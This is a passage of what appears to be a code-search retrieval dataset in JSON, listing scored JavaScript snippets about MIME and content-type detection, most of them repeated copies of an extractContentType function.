partName.\n pruneat: emitter.options.getMimePart\n .split(\".\")\n .slice(1)\n .join(\".\"),\n bodyformat: \"decode\",\n stripcontinuations: true,\n strformat: \"unicode\",\n });\n return emitter.mimeMsg;\n }", "title": "" }, { "docid": "648829c457552509f586c2cc44e17b3b", "score": "0.47550815", "text": "function is_mime_type(str) { return (typeof str === 'string') && (str.indexOf('/') !== -1); }", "title": "" }, { "docid": "ee84797b21cb6848a19eb8b020a6542a", "score": "0.47411257", "text": "text() {\n return consumeBody.call(this).then(function (buffer) {\n return buffer.toString();\n });\n }", "title": "" }, { "docid": "ee84797b21cb6848a19eb8b020a6542a", "score": "0.47411257", "text": "text() {\n return consumeBody.call(this).then(function (buffer) {\n return buffer.toString();\n });\n }", "title": "" }, { "docid": "f61c4855601d798b9b6ad40416dfbcaf", "score": "0.4717089", "text": "text() {\n return consumeBody.call(this).then(function (buffer) {\n return buffer.toString();\n });\n }", "title": "" }, { "docid": "df09f9624adfd1a80fbf5fb018d92763", "score": "0.47144604", "text": "get payloadMimeType() {\n\t\treturn this.__payloadMimeType;\n\t}", "title": "" }, { "docid": "7fbe091179972de150f44d203f789d9b", "score": "0.47064567", "text": "getMimeType(aMimeTypeName) {\n // first, lose any parameters\n let semiIndex = aMimeTypeName.indexOf(\";\");\n if (semiIndex >= 0) {\n aMimeTypeName = aMimeTypeName.substring(0, semiIndex);\n }\n aMimeTypeName = aMimeTypeName.trim().toLowerCase();\n\n if (aMimeTypeName in this._mimeTypes) {\n return this._mimeTypes[aMimeTypeName];\n }\n return this._addNewMimeType(aMimeTypeName);\n }", "title": "" }, { "docid": "44aa884aa25bda29d92b83902ace8412", "score": "0.47056776", "text": "function getMIMEType( filename ) {\n let type;\n let idx = filename.lastIndexOf('.');\n if( idx > 0 ) {\n let ext = filename.substring( idx + 1 );\n type = MIMETypes[ext];\n }\n return type || 'application/octet-stream';\n}", "title": "" }, { "docid": "f63ffa9a1f130ccad1f6411b25442320", "score": "0.4705654", "text": "text() { return this._body ? this._body.toString() : ''; }", "title": "" }, { "docid": "01ad13e32deea39cca225b3346258c41", "score": "0.46996862", "text": "function extractContentType(body) {\n if (body === null) {\n // body is null\n return null;\n } else if (typeof body === 'string') {\n // body is string\n return 'text/plain;charset=UTF-8';\n } else if (isURLSearchParams(body)) {\n // body is a URLSearchParams\n return 'application/x-www-form-urlencoded;charset=UTF-8';\n } else if (isBlob(body)) {\n // body is blob\n return body.type || null;\n } else if (Buffer.isBuffer(body)) {\n // body is buffer\n return null;\n } else if (\n Object.prototype.toString.call(body) === '[object ArrayBuffer]'\n ) {\n // body is ArrayBuffer\n return null;\n } else if (ArrayBuffer.isView(body)) {\n // body is ArrayBufferView\n return null;\n } else if (typeof body.getBoundary === 'function') {\n // detect form data input from form-data module\n return `multipart/form-data;boundary=${body.getBoundary()}`;\n } else if (body instanceof Stream) {\n // body is stream\n // can't really do much about this\n return null;\n } else {\n // Body constructor defaults other things to string\n return 'text/plain;charset=UTF-8';\n }\n }", "title": "" }, { "docid": "34e8c2d708f5c1ce496ac9f9a15c4c60", "score": "0.4698041", "text": "function text(node) {\n\t return node && node.type === 'text';\n\t}", "title": "" }, { "docid": "82d65def043a125c02bcbff1ddda814d", "score": "0.4683598", "text": "function mimeFix(resp) {\n return typeof resp === 'object' ? resp : JSON.parse(resp);\n }", "title": "" }, { "docid": "4cc91888ae8d85fe90264bc970e9696b", "score": "0.46819875", "text": "isAttachment(part) {\n if (!part) {\n return false;\n }\n\n let contentType = part.contentType || \"text/plain\";\n if (contentType.search(/^multipart\\//i) === 0) {\n return false;\n }\n\n let contentDisposition = \"\";\n if (\n Array.isArray(part.headers[\"content-disposition\"]) &&\n part.headers[\"content-disposition\"].length > 0\n ) {\n contentDisposition = part.headers[\"content-disposition\"][0];\n }\n\n if (\n contentDisposition.search(/^attachment/i) === 0 ||\n contentType.search(/^text\\/plain|^text\\/html|^text\\/enriched/i) === -1\n ) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "6b621b1fdc81be2f3183d54257a299db", "score": "0.46727645", "text": "function recogniseContentType( data ) {\n\t\tif ( CKEDITOR.env.webkit ) {\n\t\t\t// Plain text or ( <div><br></div> and text inside <div> ).\n\t\t\tif ( !data.match( /^[^<]*$/g ) && !data.match( /^(<div><br( ?\\/)?><\\/div>|<div>[^<]*<\\/div>)*$/gi ) )\n\t\t\t\treturn 'html';\n\t\t} else if ( CKEDITOR.env.ie ) {\n\t\t\t// Text and <br> or ( text and <br> in <p> - paragraphs can be separated by new \\r\\n ).\n\t\t\tif ( !data.match( /^([^<]|<br( ?\\/)?>)*$/gi ) && !data.match( /^(<p>([^<]|<br( ?\\/)?>)*<\\/p>|(\\r\\n))*$/gi ) )\n\t\t\t\treturn 'html';\n\t\t} else if ( CKEDITOR.env.gecko ) {\n\t\t\t// Text or <br>.\n\t\t\tif ( !data.match( /^([^<]|<br( ?\\/)?>)*$/gi ) )\n\t\t\t\treturn 'html';\n\t\t} else {\n\t\t\treturn 'html';\n\t\t}\n\n\t\treturn 'htmlifiedtext';\n\t}", "title": "" }, { "docid": "6b621b1fdc81be2f3183d54257a299db", "score": "0.46727645", "text": "function recogniseContentType( data ) {\n\t\tif ( CKEDITOR.env.webkit ) {\n\t\t\t// Plain text or ( <div><br></div> and text inside <div> ).\n\t\t\tif ( !data.match( /^[^<]*$/g ) && !data.match( /^(<div><br( ?\\/)?><\\/div>|<div>[^<]*<\\/div>)*$/gi ) )\n\t\t\t\treturn 'html';\n\t\t} else if ( CKEDITOR.env.ie ) {\n\t\t\t// Text and <br> or ( text and <br> in <p> - paragraphs can be separated by new \\r\\n ).\n\t\t\tif ( !data.match( /^([^<]|<br( ?\\/)?>)*$/gi ) && !data.match( /^(<p>([^<]|<br( ?\\/)?>)*<\\/p>|(\\r\\n))*$/gi ) )\n\t\t\t\treturn 'html';\n\t\t} else if ( CKEDITOR.env.gecko ) {\n\t\t\t// Text or <br>.\n\t\t\tif ( !data.match( /^([^<]|<br( ?\\/)?>)*$/gi ) )\n\t\t\t\treturn 'html';\n\t\t} else {\n\t\t\treturn 'html';\n\t\t}\n\n\t\treturn 'htmlifiedtext';\n\t}", "title": "" }, { "docid": "2b06064a9b73fe74113ecf20762e9b36", "score": "0.46632177", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream__default['default']) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input from form-data module\n\t\treturn `multipart/form-data;boundary=${body.getBoundary()}`;\n\t} else if (body instanceof Stream) {\n\t\t// body is stream\n\t\t// can't really do much about this\n\t\treturn null;\n\t} else {\n\t\t// Body constructor defaults other things to string\n\t\treturn 'text/plain;charset=UTF-8';\n\t}\n}", "title": "" }, { "docid": "2c11867798e2bb75cf8e7efc4995f301", "score": "0.46590754", "text": "function extractContentType(body) {\n\tif (body === null) {\n\t\t// body is null\n\t\treturn null;\n\t} else if (typeof body === 'string') {\n\t\t// body is string\n\t\treturn 'text/plain;charset=UTF-8';\n\t} else if (isURLSearchParams(body)) {\n\t\t// body is a URLSearchParams\n\t\treturn 'application/x-www-form-urlencoded;charset=UTF-8';\n\t} else if (isBlob(body)) {\n\t\t// body is blob\n\t\treturn body.type || null;\n\t} else if (Buffer.isBuffer(body)) {\n\t\t// body is buffer\n\t\treturn null;\n\t} else if (Object.prototype.toString.call(body) === '[object ArrayBuffer]') {\n\t\t// body is ArrayBuffer\n\t\treturn null;\n\t} else if (ArrayBuffer.isView(body)) {\n\t\t// body is ArrayBufferView\n\t\treturn null;\n\t} else if (typeof body.getBoundary === 'function') {\n\t\t// detect form data input 